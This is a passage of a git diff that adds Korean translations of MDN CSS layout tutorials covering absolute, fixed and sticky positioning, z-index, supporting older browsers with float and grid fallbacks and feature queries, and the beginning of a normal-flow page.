우선, 위치잡기 요소가 원래 있었어야 했던 문서 대열 속 위치에 있던 간격은 더 이상 존재하지 않는다는 점에 유의하십시오. 즉 간격이 더 이상 존재하지 않는 것처럼 첫 번째와 세 번째 요소가 붙어 버렸습니다! 어떤 면에서는, 이것은 사실입니다. 절대적으로 위치한 요소는 더 이상 일반 문서 조판 대열에서 존재하지 않습니다. 대신 다른 모든 것과는 별개로 독자적인 레이어상에 놓여 있습니다. 이것은 매우 유용합니다. 즉, 페이지의 다른 요소의 위치와 간섭하지 않는 격리된 사용자 인터페이스 기능을 만들 수 있습니다. 예를 들어 팝업 정보 상자 및 제어 메뉴, 롤오버 패널, 페이지 어느 곳에서나 끌어서 놓기할 수 있는 유저 인터페이스 페이지 등등…

+ +

둘째, 요소의 위치가 변경되었음을 알아차립시다. 이는 {{cssxref("top")}}, {{cssxref("bottom")}}과 {{cssxref("left")}}, {{cssxref("right")}}가 절대 위치잡기에 해당해 다른 방식으로 작동하기 때문입니다. 요소가 진입해야 하는 방향을 지정하기 보다는 요소가 (부모) 콘테이너 요소의 상하좌우 측면으로부터 떨어지는 간격을 지정되어야 합니다. 따라서 이 경우, 내 말은 절대 위치잡기 요소는 "콘테이너 요소"의 상단에서 30px, 왼쪽에서 30px에 위치에 놓여야 한다는 말입니다.

+ +
+

참고: 당신이 필요하다면 요소의 크기를 재지정하기 위해 {{cssxref("top")}}, {{cssxref("bottom")}}과 {{cssxref("left")}}, {{cssxref("right")}}를 사용할 수 있습니다. 당신이 위치잡기한 요소에 top: 0; bottom: 0; left: 0; right: 0;margin: 0;를 지정한 뒤 어떻게 되냐 보십시요! 해보고 다시 원상태로 돌리십시요...

+
+ +
+

주석: 그렇습니다. 여백이 위치잡기한 요소에 여전히 영향을 미칩니다. 그러나 마진 축소 영향은 업습니다.

+
+ +
+

참고: 당신은 3_absolute-positioning.html에서 예제를 확인할 수 있습니다(소스 코드를 보세요).

+
+ +

위치잡기 상황

+ +

어떤 요소가 절대 위치잡기의 기준이 되는 "콘테이너 요소"입니까? 이것은 위치잡기 요소의 조상에 지정된 위치 속성의 여하에 따라 많이 달라집니다. (See 콘테이너 블록 식별하기).

+ +

조상 요소가 명시적으로 정의된 위치 속성을 가지고 있지 않으면 초깃값으로 모든 조상 요소에 정적 위치가 부여됩니다. 그에 따른 결과, 절대적 위치잡기한 요소는 initial containing block에 포함되게 됩니다. 초기 콘테이너 블록은 브라우저 뷰포트 크기의 용적을 가지며, 자신도 {{htmlelement("html")}} 요소를 포함하는 블록입니다. 간단히 말해서, 절대적 위치잡기한 요소는 {{htmlelement("html")}} 요소의 외부에 포함되어 초기 뷰포트 기준과 비례한 곳에 위치하게 됩니다.

+ +

위치잡기한 요소는 에이치티엠엘 소스의 {{htmlelement("body")}} 안에 중첩되지만 최종 조판에서는 페이지의 가장자리 상단과 왼쪽에서 30px 떨어져 있습니다. 우리는 요소의 절대적 위치잡기에서 어떤 요소에 비례해 위치잡기할지 기준이 되는 positioning context(위치잡기 상황)을 변경할 수 있습니다. 이것은 조상 요소 중 하나를 기준으로 위치잡기 설정이 이뤄집니다. 다시말해 요소의 내부에 중첩된 요소 중 하나가 기준이 됩니다(내부에 중첩되지 않은 요소를 기준삼아 비례적으로 위치시킬 수 없습니다). 이를 증명하기 위해 다음과 같은 선언을 body 규칙에 추가하십시요:

+ +
position: relative;
+ +

이로써 다음과 같은 결과가 나와야 합니다.

+ + + +

{{ EmbedLiveSample('위치잡기_상황', '100%', 420) }}

+ +

위치잡기한 요소는 이제 기준이 되는 {{htmlelement("body")}} 요소와 비례한 위치에 놓이게 된다.

+ +
+

참고: 당신은 이 시점에 예제의 실제 구현 장면을 4_positioning-context.html에서 볼 수 있습니다(소스 코드 보기).

+
+ +

z-인덱스 소개

+ +

이 모든 절대적 위치잡기는 제법 재미나지만, 아직 고려하지 않은 또 다른 것이 있습니다. 요소가 겹치기 시작하면 어떤 요소가 다른 요소 위에 나타나는지 결정하는 기준은 무엇입니까? 지금까지 우리가 본 예제에서, 우리는 위치잡기 상황 속에 단 하나의 위치잡기할 요소만 주어졌습니다. 그리고 그것은 상위에 나타납니다. 왜냐면 위치잡기 요소가 비 위치잡기 요소보다 우위를 점하기 때문입니다. 하나 이상의 요소가 있을 때는 어떨까요?

+ +

다음을 씨에스에스에 추가해 첫 단락도 절대적 위치잡기 대상으로 만들어 봅시다.

+ +
p:nth-of-type(1) {
+  position: absolute;
+  background: lime;
+  top: 10px;
+  right: 30px;
+}
+ +

이 시점에서 당신이 보게될 것은 첫 번째 단락이 녹색으로 칠해지고, 문서 대열을 벗어나 원래 위치에서 약간 위에 자리를 잡습니다. 또한, 두 개의 단락이 겹치는 원래의 .positioned 클래스가 지정된 단락 아래에 겹겹이 포개집니다. 이렇게 되는 까닭은 .positioned 클래스로 지정된 단락이 소스 순서상에 두 번째 단락이고 소스 순서상에 뒤에 있는 위치잡기한 요소가 소스 순서상 앞서는 위치잡기한 요소보다 우위를 점하기 때문입니다.

+ +

스택 순서를 변경할 수 있습니까? 네, {{cssxref("z-index")}} 속성을 사용하면 가능합니다. z-인덱스는 z축을 가리킵니다. 당신은 앞서 배경 이미지와 그림자 오프셋을 떨어뜨리는 것과 같은 사물의 위치를 파악하는 방법을 찾는 과정에서 웹 페이지를 수평(x축)과 수직(y축) 좌표로 논의한 학습 과정을 기억하실 겁니다. (0,0)은 페이지(또는 요소)의 상단 왼쪽에 있으며, x-축 및 y-축은 페이지의 오른쪽 및 아래쪽으로 진행합니다(가로쓰기 언어의 경우를 말합니다).

+ +

웹 페이지에는 z축이 있습니다. 스크린 표면으로부터 진행하는 가상 라인, 즉 사용자 얼굴 쪽으로 향하는(당신이 화면 위에 놓고 싶은 것을 망론한다). {{cssxref("z-index")}} 값은 위치잡기한 요소가 해당 축상에 놓일 경우에 영향을 미칩니다. 양수 값은 스택 상단으로 이동하고 음수 값은 스택 아래로 이동합니다(역주: 상단으로 겹겹이 쌓이거나 하단으로 겹겹이 쌓여진다) 기본값으로 위치잡기한 요소는 모두 z-indexauto 값을 가지며, 이는 사실상 0입니다.

+ +

스택 순서를 변경하려면 다음 선언을 p:nth-of-type(1) rule: 규칙에 추가하십시오.

+ +
z-index: 1;
+ +

이제 녹색 단락이 상단에 놓여진 완성된 예가 보여야 합니다.

+ + + +

{{ EmbedLiveSample('z-인덱스_소개', '100%', 400) }}

+ +

z-인덱스는 단위가 없는 인덱스 값만 허용한다는 점에 유의하자; 하나의 요소가 Z축 위로 23픽셀이 되도록 지정할 수 없습니다. 그런 식으론 작동하지 않습니다. 높은 값의 요소는 낮은 값 요소의 위로 간니다. 그러니 당신이 어떤 값을 사용할 지에 달려있습니다. 2와 3을 사용하면 300과 40000과 같은 효과를 얻을 수 있습니다.

+ +
+

참고: 이 시점에 예제의 실제 구현 장면을 5_z-index.html에서 볼 수 있습니다(소스 코드 보기).

+
+ +

고정 위치잡기

+ +

이제 고정 위치잡기를 살펴보자. 이것은 절대 위치잡기와 정확히 같은 방식으로 작동합니다.단 한 가지 핵심 차이점이 있습니다. 절대 위치잡기는 {{htmlelement("html")}} 요소나 가까운 조상 요소를 기준으로 비례해 요소를 고정시키지만, 고정 위치잡기는 브라우저 뷰 포트 자체를 기준으로 비례해 요소를 고정합니다. 즉, 탐색 메뉴가 계속 자리를 지키는 것과 같이 제자리에 고정된 유용한 사용자 인터페이스 항목을 생성할 수 있습니다.

+ +

우리가 무슨 얘기를 하는지 보여주기 위해 간단한 예를 들어봅시다. 먼저 씨에스에스에서 기존 p:nth-of-type(1).positioned 규칙을 삭제합니다.

+ +

이제 position: relative; 선언을 지우고, 다음과 같이 고정 높이를 추가하는 규칙을 body 규칙에 업데이트합니다:

+ +
body {
+  width: 500px;
+  height: 1400px;
+  margin: 0 auto;
+}
+ +

이제 우리는 {{htmlelement("h1")}} 요소에 position: fixed;를 부여하고, 그걸 뷰 포트의 상단 중앙에 놓게 합니다. 다음 규칙을 씨에스에스에 추가하세요.

+ +
h1 {
+  position: fixed;
+  top: 0;
+  width: 500px;
+  margin: 0 auto;
+  background: white;
+  padding: 10px;
+}
+ +

화면 상단에 고정시키려면 top: 0;이 요구됩니다. 그런 다음 제목에 콘텐츠 열과 동일한 너비를 부여하고 콘텐츠를 중앙에 놓기 위해 오래됐지만, 신뢰감을 주는 margin: 0 auto;를 사용합니다. 그런 다음 제목에 흰색 배경과 패딩을 부여해 제목 아래에 내용이 보이지 않도록 합니다.

+ +

지금 저장하고 새로고침하면 제목이 고정되는 사소하지만, 재미난 효과를 볼 수 있으며, 스크롤 막대를 위로 올리면 콘텐츠가 드러나고 아래로 내리면 제목 밑으로 콘텐츠가 사라지는 것처럼 보입니다. 하지만 우리는 이것을 더 개선할 수 있습니다. 현재 일부 콘텐츠가 시작부터 제목에 밑에 깔려있는 부분 말입니다. 위치잡기한 제목이 문서 대열상에서 모습을 드러내지 않기 때문입니다. 그래서 나머지 콘텐츠가 맨 위로 이동했습니다. 우리는 올라간 것을 조금 아래로 이동시켜야 합니다. 우리는 그걸 첫 번째 단락에 최상위 여백을 설정해서 달성할 수 있습니다. 지금 다음 내용을 추가하세요:

+ +
p:nth-of-type(1) {
+  margin-top: 60px;
+}
+ +

당신은 이제 완성된 예제를 볼 수 있어야 합니다:

+ + + +

{{ EmbedLiveSample('고정_위치잡기', '100%', 400) }}

+ +
+

참고: 당신은 이 시점에 예제의 실제 구현 장면을 6_fixed-positioning.html에서 볼 수 있습니다 (소스 코드는 여기서 보세요).

+
+ +

position: sticky

+ +

이용할 수 있는 position: sticky라고 불리우는 또 다른 위치잡기 값이 있습니다. 이것은 다른 위치잡기보다 다소 새로운 것입니다. 이것은 기본적으로 상대 위치잡기와 고정 위치잡기가 혼합된 하이브리드로서, 위치잡기 요소가 특정 임계점에(예로 뷰포트의 상단으로부터 10px) 스크롤될 때까지 상대 위치잡기처럼 행동할 수 있다가 그 뒤에 위치가 고정됩니다. 예를 들어, 탐색 막대가 특정 지점까지 페이지와 함께 스크롤한 다음 페이지 상단에 흡착되도록 사용할 수 있습니다.

+ +
+ + +
.positioned {
+  position: sticky;
+  top: 30px;
+  left: 30px;
+}
+
+ +

{{ EmbedLiveSample('흡착_1', '100%', 200) }}

+ +

position: sticky의 일반적 사용례기도 하고 흥미로운 사용례는 스크롤링하다 제목에 도달하면 서로 다른 제목이 페이지의 맨 위에 흡착되는 색인 페이지를 만드는 것입니다. 이런 사례에 대한 마크업은 다음과 같은 모습일 수 있습니다:

+ +
<h1>흡착 위치잡기</h1>
+
+<dl>
+    <dt>A</dt>
+    <dd>Apple</dd>
+    <dd>Ant</dd>
+    <dd>Altimeter</dd>
+    <dd>Airplane</dd>
+    <dt>B</dt>
+    <dd>Bird</dd>
+    <dd>Buzzard</dd>
+    <dd>Bee</dd>
+    <dd>Banana</dd>
+    <dd>Beanstalk</dd>
+    <dt>C</dt>
+    <dd>Calculator</dd>
+    <dd>Cane</dd>
+    <dd>Camera</dd>
+    <dd>Camel</dd>
+    <dt>D</dt>
+    <dd>Duck</dd>
+    <dd>Dime</dd>
+    <dd>Dipstick</dd>
+    <dd>Drone</dd>
+    <dt>E</dt>
+    <dd>Egg</dd>
+    <dd>Elephant</dd>
+    <dd>Egret</dd>
+</dl>
+
+ +

씨에스에스는 다음과 같이 보일 수 있다. 일반 대열에서는 {{htmlelement("dt")}} 요소가 콘텐츠와 함께 스크롤됩니다. {{cssxref("top")}} 값이 0이고 {{htmlelement("dt")}} 요소에 position: sticky를 추가하면 이를 지원하는 브라우저는 그 위치(0)에 도달할 때 머리글을 브라우저 뷰포트 상단에 흡착시킵니다. 그 후 각각의 후속 머리글은 자신의 위치까지 스크롤하는 시점에 이전 머리글을 교체합니다.

+ +
dt {
+  background-color: black;
+  color: white;
+  padding: 10px;
+  position: sticky;
+  top: 0;
+  left: 0;
+  margin: 1em 0;
+}
+
+ +
+ +
+ +

{{ EmbedLiveSample('흡착_2', '100%', 200) }}

+ +
+

참고: 당신은 이 시점에 예제의 실제 구현 장면을 7_sticky-positioning.html에서 볼 수 있습니다(소스 코드는 여기서 보세요).

+
+ +

요약정리

+ +

기본적인 위치잡기를 가지고 놀이삼아 시험해 보니 재미있었을 것이다; 비록 이것이 완전체 조판에 사용할 수 있는 방법은 아니지만, 여러분이 보았다시피 이것이 알맞은 용도로 사용될 수 있는 많은 작업들이 있다.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}

+ +

참조 항목

+ + + +

이번 단위에는

+ + diff --git "a/files/ko/learn/css/css_layout/\354\235\264\354\240\204_\353\270\214\353\235\274\354\232\260\354\240\200_\354\247\200\354\233\220/index.html" "b/files/ko/learn/css/css_layout/\354\235\264\354\240\204_\353\270\214\353\235\274\354\232\260\354\240\200_\354\247\200\354\233\220/index.html" new file mode 100644 index 0000000000..07910a4d26 --- /dev/null +++ "b/files/ko/learn/css/css_layout/\354\235\264\354\240\204_\353\270\214\353\235\274\354\232\260\354\240\200_\354\247\200\354\233\220/index.html" @@ -0,0 +1,248 @@ +--- +title: 이전 브라우저 지원 +slug: Learn/CSS/CSS_layout/이전_브라우저_지원 +tags: + - 가변상자 + - 격자 + - 기능 쿼리 + - 레거시 + - 부동체 + - 씨에스에스 + - 안내서 + - 조판 + - 초보자 + - 학습 +translation_of: Learn/CSS/CSS_layout/Supporting_Older_Browsers +--- +
{{LearnSidebar}}
+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}

+ +

이 모듈에서는 Flexbox 및 Grid를 디자인의 기본 레이아웃 메서드로 사용할 것을 권고합니다. 그러나 당신이 사용한 메서드를 지원하지 않는 브라우저나 이전 브라우저를 사용해 당신의 사이트를 방문하는 사람들이 있을 겁니다. 이런 일은 웹상에서 항상 있는 일입니다. 즉 새로운 기능이 개발됨에 따라 서로 다른 브라우저가 서로 다른 것들의 우선 순위를 정합니다. 이 문서는 구식 기술의 사용자들을 외면하지 않고도 최신 웹 기술을 사용하는 방법에 대해 설명합니다.

+ + + + + + + + + + + + +
선결 사항:HTML 기본 (HTML 입문 학습), CSS의 작동 방식 CSS 입문 및 (상자 양식 지정 학습)
목표:여러분이 사용하려는 기능을 지원하지 않을 수있는 이전 브라우저에서 레이아웃을 지원하는 방법을 파악합니다.
+ +

당신의 사이트 브라우저 지향은?

+ +

모든 웹사이트는 공략 대상에 따라 달라집니다. 접근 방식을 결정하기 전에 이전 브라우저를 사용하여 사이트를 방문하는 방문자 수를 확인하십시오. 사람들이 사용중인 기술을 알려주는 분석 기능(예: Google analytics)을 이용할 수 있고, 추가 및 교체할 기존 웹 사이트가 있는 경우 이는 간단한 작업입니다. 당신이 분석툴이 없거나, 이번이 완전히 새로운 사이트 개설이라면 Statcounter같은 위치별로 필터링된 통계를 제공할 수 있는 사이트가 있습니다.

+ +

또한 사람들이 여러분의 사이트를 이용하는 방식이나 장치 유형을 고려해야만 합니다. 예를 들어 모바일 장치 이용 방문자가 평균치를 웃돌거라는 예상을 할 수 있습니다. 접근성 및 보조 기술을 사용하는 사람들은 항상 고려해야하지만 일부 사이트에서는 그 점이 더욱 중요할 수 있습니다. 필자의 경험에 따르면 개발자들은 종종 이전 버전의 인터넷 익스플로러 사용자 1%에 대해 매우 걱정하는 반면, 더 많은 사용자 층인 내게 필요한 옵션 사용자에 대해선 전혀 고려하지 않습니다.

+ +

당신이 사용하려는 기능에 대한 지원은 어떻습니까?

+ +

사이트에 들어오는 브라우저를 알면, 해당 대상에 사용하고 싶은 기술을 평가할 수 있고, 그리고 그 기술을 이용할 수 없는 방문객들에게 얼마나 쉽게 대안을 제공할 수 있는지 진단할 수 있습니다. 우리는 CSS 속성을 상세히 설명하는 각 페이지에 대한 브라우저 호환성 정보를 모질라 개발자 네트워크에서 제공함으로써 쉽게 사용할 수 있도록 노력하고 있습니다. 예를 들어, {{cssxref("grid-template-columns")}} 페이지를 살펴보십시오. 이 페이지의 맨 아래에는 이 속성을 지원하기 시작한 버전과 함께 주요 브라우저가 나열된 표가 있습니다.

+ +

+ +

기능이 얼마나 잘 지원되는지 확인하는 또 다른 일반적인 방법은 Can I Use 웹 사이트입니다. 이 사이트에는 대부분의 웹 플랫폼 기능이 브라우저 지원 상태에 대한 정보와 함께 나열됩니다. 위치별로 사용 통계를 볼 수 있습니다. 주로 특정 지역의 사용자가있는 사이트에서 작업하는 경우 유용합니다. Google 웹 로그 분석 계정을 연결하여 사용자 데이터를 기반으로 분석할 수도 있습니다.

+ +

사용자의 브라우저가 보유한 기술과 당신이 사용하려는 것에 대한 지원을 이해하면 당신은 좋은 상황에서 모든 결정을 내리고 모든 사용자를 가장 잘 지원할 수있는 방법을 알 수 있습니다.

+ +

지원하는 것과 '모양이 똑같다'는 말은 다르다

+ +

일부 사용자는 휴대 전화로 사이트를 보고 다른 사용자는 대형 데스크톱 화면에서 사이트를 보고 있기 때문에 모든 브라우저에서 웹 사이트가 동일하게 보이지 않을 수 있습니다. 마찬가지로 일부 사용자는 이전 브라우저 버전을 갖고 있고 다른 사용자에게는 최신 브라우저를 갖고 있습니다. 일부 사용자는 화면 읽기 프로그램을 사용해 내용을 읽거나 페이지를 확대하여 읽을 수도 있습니다. 모든 사람을 지원한다는 것은 방어적으로 디자인된 콘텐츠 버전을 제공하여 최신 브라우저에서는 사이트 외관이 뛰어나지만, 이전 브라우저 사용자에게는 기본 수준으로 계속 사용할 수 있음을 의미합니다.

+ +

기본적인 지원 수준이란 페이지의 일반적인 흐름이 이해되도록 콘텐츠를 잘 구성하는 것에서 출발합니다. 기능이 매우 제한적인 전화기 사용자는 많은 CSS를 얻을 수 없지만, 콘텐츠는 쉽게 읽을 수 있는 방식으로 나열됩니다. 따라서 항상 잘 구성된 HTML 문서에서 출발해야 합니다. 여러분의 스타일 시트를 제거했을 때, 컨텐츠가 여전히 잘 이해되나요?

+ +

한 가지 옵션은 아주 오래된 브라우저나 제한된 브라우저를 사용하는 사람들이 찾을 수 있는 대체 페이지로 사이트 외관을 단순화하는 것입니다. 문제가 되는 해당 브라우저를 사용해 소수의 사람들이 사이트를 방문하는 경우 최신 브라우저 사용자들과 비슷한 체험을 그들에게 제공하기 위해 시간을 쏟는 것이 상업적으로 맞지 않을 겁니다. 사이트의 접근성을 높이고 더 많은 사용자에게 서비스를 제공하는 일에 시간을 투자하는 것이 더 좋을 겁니다. 평범한 HTML 페이지와 온갖 장신구가 포함된 페이지 사이에는 중간 지점이 있으며 CSS는 실제로 이러한 대체 페이지를 매우 간단하게 생성해 줍니다.

+ +

CSS로 대체 페이지 생성하기

+ +

CSS 규격에는 두 가지 레이아웃 메서드가 동일한 항목에 적용될 때 브라우저가 수행하는 작업을 설명하는 정보가 포함되어 있습니다. 즉, 부동체 항목이 한편으로는 CSS grid 레이아웃을 사용하는 grid 항목인 경우 발생하는 상황에 대한 정의가 있음을 의미합니다. 이 정보가 브라우저가 이해하지 못하는 CSS를 무시한다는 지식과 결합되어, 이미 다루었던 레거시 기술을 사용하여 간단한 레이아웃을 생성할 수 있는 방법이 있습니다. 그런 다음 이를 최신 브라우저에서는 grid 레이아웃으로 덮어씁니다.

+ +

아래 예에서는 세 개의 <div> 부동체를 행으로 표시했습니다. CSS grid 레이아웃을 지원하지 않는 브라우저는 상자 행을 부동 레이아웃 (浮動 組版) 으로 간주합니다. grid 항목이 되는 부동 항목은 부동 동작을 상실합니다. 즉, .wrapper 클레스를 grid 컨테이너로 전환하면 부동 항목이 grid 항목이 됩니다. 브라우저가 grid 레이아웃을 지원하는 경우 grid 디스플레이를 표시합니다. 지원하지 않으면 display: grid 관련 속성은 무시되고 부동 레이아웃이 사용됩니다.

+ +
+
* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+
+ +
<div class="wrapper">
+  <div class="item">항목 하나</div>
+  <div class="item">항목 둘</div>
+  <div class="item">항목 셋</div>
+</div>
+
+ +

{{ EmbedLiveSample('예제1', '100%', '200') }}

+
+ +
+

참고: {{cssxref("clear")}} 속성도 마찬가지로 정리된 항목이 grid가 되자마자 효력을 상실합니다. 따라서 정리된 footer가 딸린 레이아웃을 가질 수 있으며, 이 레이아웃이 grid 레이아웃으로 전환됩니다.

+
+ +

대체 메서드

+ +

이 부동 예제와 비슷한 방식으로 사용할 수있는 여러 레이아웃 메서드가 있습니다. 당신이 생성해야하는 레이아웃 패턴에 가장 적합한 것을 선택할 수 있습니다.

+ +
+
Float(부동) 및 clear
+
위에서 볼 수 있듯이, 부동 또는 정리 속성이 레이아웃에 미치는 효과는 부동되거나 정리된 항목이 flex 또는 grid 항목이 되면 중단됩니다.
+
display: inline-block
+
이 방법을 사용하여 열 레이아웃을 생성할 수 있는 경우는 항목이 display: inline-block로 설정되었을 경우이지만, flex 또는 grid 항목이 된다면 인라인 블록 동작은 무시됩니다.
+
display: table
+
CSS 테이블을 생성하는 메서드는 해당 단원의 입문서가 대체품으로 활용될 수 있습니다. CSS 테이블 레이아웃으로 설정된 항목은 그들이 flex 또는 grid 항목이 될 경우 자기 동작을 상실하게 됩니다. 중요하게는 테이블 구조를 수정하기 위해 생성된 익명 상자는 생성되지 않습니다.
+
다단 레이아웃
+
특정 레이아웃의 경우 당신은 다단을 대체품로 사용할 수 있습니다. 여러분의 콘테이너가 column-* 속성에 속한 것으로 정의되었다면 grid 컨테이너가 될 것이고, 다단 동작은 발생하지 않습니다.
+
grid 대체품 역할인 Flexbox
+
Flexbox는 인터넷 익스플로러 10과 11이 지원하기 때문에 grid를 지원하는 브라우저가 훨씬 많이 있습니다. 다만 이 단원의 뒷부분에서 설명하고 있는 구형 브라우저에서 flex를 지원하기 위한 처리 방법에 대해서도 확인해보세요. flex 컨테이너를 grid 컨테이너로 만들면 자식에 적용된 모든 flex () 속성은 무시됩니다.
+
+ +

구형 브라우저에서 레이아웃 조정이 많이 필요한 경우 CSS를 이런 식으로 사용하면 괜찮은 경험을 할 수 있습니다. 오래되고 잘 지원되는 기술을 기반으로 간단한 레이아웃을 추가한 다음 최신 CSS를 사용하여 잠재 고객의 90% 이상이 볼 수있는 레이아웃을 만듭니다. 그러나 대체 코드에 새 브라우저가 해석할 내용이 포함되어야하는 경우가 있습니다. 이에 대한 좋은 예는 부동 항목에 백분율 너비를 추가하여 열을 마치 grid 디스플레이처럼 보이도록 컨테이너를 채울 수 있도록 (너비를) 늘리는 경우입니다.

+ +

부동 레이아웃에서 백분율은 컨테이너를 기준으로 계산됩니다. 33.333%는 컨테이너 너비의 3 분의 1입니다. 그러나 grid에서는 항목이 배치된 grid 영역을 기준으로 33.333%가 계산되므로 grid 레이아웃이 도입되면 실제로 원하는 크기의 3분의 1이 됩니다.

+ +
+
* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+  width: 33.333%;
+}
+
+ +
<div class="wrapper">
+  <div class="item">항목 하나</div>
+  <div class="item">항목 둘</div>
+  <div class="item">항목 셋</div>
+</div>
+
+ +

{{ EmbedLiveSample('예제2', '100%', '200') }}

+
+ +

이 문제를 해결하려면 grid가 지원되는지 여부와 너비가 재정의되는지 여부를 감지할 수있는 방법이 필요합니다. CSS가 우리를 위해 마련한 해결책은 이렇습니다.

+ +

Feature queries

+ +

feature queries를 사용하면 브라우저가 특정 CSS 기능을 지원하는지 테스트 할 수 있습니다. 즉, 특정 기능을 지원하지 않는 브라우저 용 CSS를 작성한 다음 브라우저가 지원되는지 여부와 멋진 레이아웃을 제공하는지 확인하십시오.

+ +

위의 예제에 feature query를 추가하면 grid가 지원됨을 알고 있는 경우 이 feature query를 사용하여 항목 너비를 auto () 으로 다시 설정할 수 있습니다.

+ +
+
* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+  width: 33.333%;
+}
+
+@supports (display: grid) {
+  .item {
+      width: auto;
+  }
+}
+
+ +
<div class="wrapper">
+  <div class="item">항목 하나</div>
+  <div class="item">항목 둘</div>
+  <div class="item">항목 셋</div>
+</div>
+
+ +

{{ EmbedLiveSample('예제3', '100%', '200') }}

+
+ +

feature query에 대한 지원은 최신 브라우저에서 매우 유용하지만 CSS grid를 지원하지 않는 브라우저는 feature query도 지원하지 않는다는 점에 유의해야합니다. 이는 위에서 설명한 접근 방식이 해당 브라우저에서 작동한다는 것을 의미합니다. 우리가 하는 작업은 feature query를 차치하고 먼저 이전 CSS를 작성하는 것입니다. grid를 지원하지 않고 feature query를 지원하지 않는 브라우저는 자기가 이해할 수 있는 레이아웃 정보를 이용하고 그밖에 다른 것들은 완전히 무시할 수 있습니다. feature query를 지원하는 브라우저는 CSS grid도 지원하므로 grid 코드 및 feature query 내부의 코드를 실행합니다.

+ +

feature query 규격에는 브라우저가 기능을 지원하지 않는지 테스트하는 기능도 포함되어 있습니다. 이는 브라우저가 feature query를 지원하는 경우에만 유용합니다. feature query를 지원하지 않는 브라우저가 갈수록 사라짐에 따라 미래에는 지원 부족 여부를 확인하는 방법은 작동하게 됩니다. 그러나 지금은 최상의 지원을 위해 이전 CSS를 사용한 다음 덮어 쓰는 방식을 사용하십시오.

+ +

Flexbox 예전 버전

+ +

이전 버전의 브라우저에서는 이전의 Flexbox 명세가 반복되는 것을 여러분은 발견할 수 있습니다. 글을 쓰는 시점에서 이것은 Flexbox에 -ms- 접두사를 사용하는 인터넷 익스플로러 10의 문제입니다. 이는 또한 오래된 문서와 자습서가 있음을 의미합니다. 이 유용한 안내서는 보고있는 내용을 확인하는 데 도움이되고 매우 오래된 브라우저에서 flex 지원이 필요한 경우에도 도움이 될 수 있습니다.

+ +

인터넷 익스플로러 10과 11 접두사 버전

+ +

CSS grid 규격은 인터넷 익스플로러 10에서 처음 나온 원형이었습니다. 즉, 인터넷 익스플로러 10 및 11에는 최신 grid 지원이 없지만, 이 사이트에 문서화된 최신 규격과는 다르나 매우 유용한 그리드 레이아웃 버전이 있습니다. 인터넷 익스플로러 10 및 11 구현은 -ms- 접두사를 사용해 해당 그리드를 마이크로소프트 브라우저에 사용할 수 있으며 이외의 브라우저에서는 무시됩니다. 에지 브라우저는 여전히 이전 구문을 이해하므로 현대 그리드 CSS에서 모든 항목을 안전하게 덮어씁니다.

+ +

그리드 레이아웃의 점진적 향상에 대한 안내서는 그리드의 인터넷 익스플로러 버전을 이해하는 데 도움이되며 이 단원 끝에는 별도의 유용한 링크를 포함하고 있습니다. 그러나 이전 인터넷 익스플로러 버전 사용자의 방문자 수가 매우 많지 않다면 모든 비지원 브라우저에서 작동하는 대체품을 만드는 것이 더 좋습니다.

+ +

이전 브라우저 여부 확인

+ +

Flexbox 및 그리드를 지원하는 대부분의 브라우저를 사용하면 구형 브라우저를 테스트하기가 상당히 어려울 수 있습니다. 한 가지 방법은 크로스 브라우저 테스트 단위에 설명 된대로 Sauce Labs과 같은 온라인 테스트 도구를 사용하는 것입니다.

+ +

또한 가상 컴퓨터를 다운로드하여 설치한 뒤 제약이 걸린 본인의 컴퓨터 환경에서 이전 버전의 브라우저를 실행할 수 있습니다. 이전 버전의 인터넷 익스플로러에 액세스하는 것이 특히 유용하며 이를 위해 마이크로소프트는 다양한 가상 컴퓨터를 무료로 다운로드 할 수 있도록 만들었습니다. 맥, 윈도우즈 및 리눅스 운영 체제에서 가상 컴퓨터를 사용할 수 있으므로 윈도우즈 컴퓨터를 사용하지 않더라도 이전 및 최신 윈도우즈 브라우저에서 테스트할 수있는 좋은 방법입니다.

+ +

요약정리

+ +

여러분은 이제 그리드 및 Flexbox와 같은 기술을 자신있게 사용하고, 이전 브라우저를 위한 대체품을 만들고, 향후 발생할 수 있는 새로운 기술을 활용할 수 있는 지식을 얻었습니다.

+ +

참조 항목

+ + + +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}

+ +

이번 단위에는

+ + diff --git "a/files/ko/learn/css/css_layout/\354\235\274\353\260\230_\355\235\220\353\246\204/index.html" "b/files/ko/learn/css/css_layout/\354\235\274\353\260\230_\355\235\220\353\246\204/index.html" new file mode 100644 index 0000000000..43b4366c0e --- /dev/null +++ "b/files/ko/learn/css/css_layout/\354\235\274\353\260\230_\355\235\220\353\246\204/index.html" @@ -0,0 +1,102 @@ +--- +title: 일반 대열 +slug: Learn/CSS/CSS_layout/일반_흐름 +tags: + - 격자형 + - 부동 + - 씨에스에스 + - 일반 대열 + - 조판 + - 초보자 + - 학습 +translation_of: Learn/CSS/CSS_layout/Normal_Flow +--- +
{{LearnSidebar}}
+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}

+ +

이번 글에서는 normal flow, 다른 말로 만일 당신이 요소의 레이아웃을 변경하지 않을 시 웹페이지 요소가 자기 자신을 배치하는 방법에 관해 설명합니다.

+ + + + + + + + + + + + +
